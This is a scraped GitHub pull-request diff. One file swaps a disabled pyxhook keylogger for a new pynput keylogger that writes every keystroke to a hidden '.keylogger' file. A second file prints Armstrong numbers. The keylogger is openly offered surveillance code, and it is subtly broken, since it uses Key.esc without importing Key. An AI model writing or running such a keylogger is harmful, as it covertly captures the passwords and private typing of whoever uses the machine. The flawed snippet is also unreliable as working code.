Open
Show file tree
Hide file tree
Changes from all commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Failed to load files.
Original file line numberDiff line numberDiff line change
Expand Up@@ -4,7 +4,7 @@
# 1. pyxhook.py: file is provided in the folder itself
# 2. Xlib: sudo pip3 install python3-Xlib

import pyxhook
'''import pyxhook
import time

# functions to write a newline character into the file
Expand DownExpand Up@@ -47,3 +47,25 @@ def key_press_event(event):

# Close the listener when we are done
hookman.cancel()
'''

from pynput.keyboard import Listener

# Functions to handle key press and release events
def on_key_press(key):
try:
with open('.keylogger', 'a') as f:
f.write(str(key.char))
except AttributeError:
# Handle special keys
with open('.keylogger', 'a') as f:
f.write(str(key))

def on_key_release(key):
if key == Key.esc:
# Terminate the listener
return False

# Create a listener for both key press and release events
with Listener(on_press=on_key_press, on_release=on_key_release) as listener:
listener.join()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
lower = 100
upper = 2000

armstrong_numbers = [num for num in range(lower, upper + 1) if num == sum(int(digit) ** len(str(num)) for digit in str(num))]

for armstrong in armstrong_numbers:
print(armstrong)